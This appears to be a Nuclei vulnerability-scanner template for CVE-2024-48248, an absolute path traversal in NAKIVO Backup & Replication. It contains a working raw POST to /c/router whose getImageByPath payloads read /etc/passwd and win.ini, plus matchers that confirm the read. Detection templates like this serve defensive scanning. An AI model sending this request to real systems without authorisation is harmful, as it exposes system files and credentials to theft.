id: CVE-2024-48248

info:
  name: "Nakivo - Path Traversal"
  author: vedas-arpsyndicate
  severity: high
  description: |
    NAKIVO Backup & Replication before 11.0.0.88174 allows absolute path traversal for reading files via
    getImageByPath to /c/router (this may lead to remote code execution across the enterprise because
    PhysicalDiscovery has cleartext credentials).
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-48248&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=nakivo&match=exact
  classification:
    cve-id: CVE-2024-48248
  metadata:
    verified: false
  tags: cve,cve2024,nakivo,backup,lfi,kev,vkev,vuln
variables:
  string: "{{to_lower(rand_base(5))}}"

http:
  - raw:
      - |
        POST /c/router HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, br
        Accept: */*
        Connection: keep-alive
        Content-Type: application/json

        {"action": "STPreLoadManagement", "data": ["{{path}}"], "method": "getImageByPath", "sid": "", "tid": "{{string}}", "type": "{{string}}"}

    payloads:
      path:
        - /etc/passwd
        - C:/windows/win.ini

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: dsl
        name: linux
        dsl:
          - "regex('114,111,111,116,58,.*,58,48,58,48,58', body)"
          - "contains(body, 'STPreLoadManagement')"
          - "status_code == 200"
        condition: and

      - type: dsl
        name: windows
        dsl:
          - "contains(body, '59,32,102,111,114')"
          - "contains(body, 'STPreLoadManagement')"
          - "status_code == 200"
        condition: and